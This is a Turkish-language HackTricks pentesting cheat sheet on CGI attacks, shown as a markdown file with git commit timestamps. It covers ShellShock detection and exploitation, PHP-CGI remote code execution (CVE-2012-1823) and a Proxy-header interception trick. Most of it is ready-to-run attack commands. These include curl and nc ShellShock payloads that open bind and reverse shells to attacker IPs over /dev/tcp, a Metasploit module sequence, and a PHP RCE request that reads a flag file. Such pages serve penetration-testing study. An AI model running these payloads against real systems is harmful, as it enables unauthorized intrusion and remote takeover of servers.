hacktricks/network-services-pentesting/pentesting-web/cgi.md

99 lines
7 KiB
Markdown
Raw Normal View History

{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-02-10 18:14:16 +00:00
# Bilgi
**CGI betikleri perl betikleridir**, bu nedenle, _**.cgi**_ betiklerini çalıştırabilen bir sunucuyu ele geçirdiyseniz, **perl ters shell** \(`/usr/share/webshells/perl/perl-reverse-shell.pl`\) **yükleyebilir**, **uzantıyı** **.pl**'den **.cgi**'ye değiştirebilir, **çalıştırma izinleri** verebilir \(`chmod +x`\) ve **web tarayıcısından** ters shell'e **erişebilirsiniz**.
2024-02-10 18:14:16 +00:00
**CGI zafiyetlerini** test etmek için `nikto -C all` \(ve tüm eklentileri\) kullanmanız önerilir.
2022-05-01 12:49:36 +00:00
# **ShellShock**
**ShellShock**, Unix tabanlı işletim sistemlerinde yaygın olarak kullanılan **Bash** komut satırı kabuğunu etkileyen bir **zafiyettir**. Bu, Bash'in uygulamalar tarafından iletilen komutları çalıştırma yeteneğini hedef alır. Zafiyet, bilgisayardaki süreçlerin nasıl çalıştığını etkileyen dinamik adlandırılmış değerler olan **çevre değişkenlerinin** manipülasyonunda yatmaktadır. Saldırganlar, çevre değişkenlerine **kötü niyetli kod** ekleyerek bunu istismar edebilirler; bu kod, değişken alındığında çalıştırılır. Bu, saldırganların sistemi tehlikeye atmasına olanak tanır.
Bu zafiyeti istismar ederek **sayfa bir hata verebilir**.
Bu zafiyeti, **eski bir Apache sürümü** ve **cgi\_mod** \(cgi klasörü ile\) kullandığını fark ederek **bulabilirsiniz** veya **nikto** kullanarak.
2022-05-01 12:49:36 +00:00
## **Test**
Çoğu test, bir şeyin yankesini yapmaya dayanır ve o dizenin web yanıtında döneceğini bekler. Bir sayfanın zayıf olabileceğini düşünüyorsanız, tüm cgi sayfalarını arayın ve test edin.
**Nmap**
```bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi
```
## **Curl \(yansıtılmış, kör ve dışa dönük\)**
```bash
2021-09-24 22:56:32 +00:00
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
2021-09-24 22:56:32 +00:00
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
2021-09-24 22:56:32 +00:00
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh
```
2022-04-05 22:24:52 +00:00
[**Shellsocker**](https://github.com/liamim/shellshocker)
```bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi
```
2024-02-10 18:14:16 +00:00
## Sömürü
```bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run
```
# **Proxy \(MitM to Web server requests\)**
CGI, http isteğinde her başlık için bir ortam değişkeni oluşturur. Örneğin: "host:web.com" "HTTP\_HOST"="web.com" olarak oluşturulur.
HTTP\_PROXY değişkeni web sunucusu tarafından kullanılabilir. "**Proxy: &lt;IP\_attacker&gt;:&lt;PORT&gt;**" içeren bir **başlık** göndermeyi deneyin ve eğer sunucu oturum sırasında herhangi bir istek yaparsa, sunucu tarafından yapılan her isteği yakalayabileceksiniz.
2020-08-06 14:25:29 +00:00
2024-02-10 18:14:16 +00:00
# Eski PHP + CGI = RCE \(CVE-2012-1823, CVE-2012-2311\)
2020-08-06 14:25:29 +00:00
Temelde, cgi aktifse ve php "eski" ise \(&lt;5.3.12 / &lt; 5.4.2\) kod çalıştırabilirsiniz.
Bu güvenlik açığını istismar etmek için, parametre göndermeden \(özellikle "=" karakterini göndermeden\) web sunucusundaki bazı PHP dosyalarına erişmeniz gerekir.
Sonra, bu güvenlik açığını test etmek için, örneğin `/index.php?-s` adresine erişebilirsiniz \(not edin `-s`\) ve **uygulamanın kaynak kodu yanıt olarak görünecektir**.
2020-08-06 14:25:29 +00:00
Sonra, **RCE** elde etmek için bu özel sorguyu gönderebilirsiniz: `/?-d allow_url_include=1 -d auto_prepend_file=php://input` ve **isteğin gövdesinde çalıştırılacak PHP kodu. Örnek:**
2020-08-06 14:25:29 +00:00
```bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
```
**Zafiyet ve olası istismarlar hakkında daha fazla bilgi:** [**https://www.zero-day.cz/database/337/**](https://www.zero-day.cz/database/337/)**,** [**cve-2012-1823**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-1823)**,** [**cve-2012-2311**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-2311)**,** [**CTF Yazım Örneği**](https://github.com/W3rni0/HacktivityCon_CTF_2020#gi-joe)**.**
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking Öğrenin ve Pratik Yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking Öğrenin ve Pratik Yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2022-04-28 16:01:33 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek paylaşın.**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}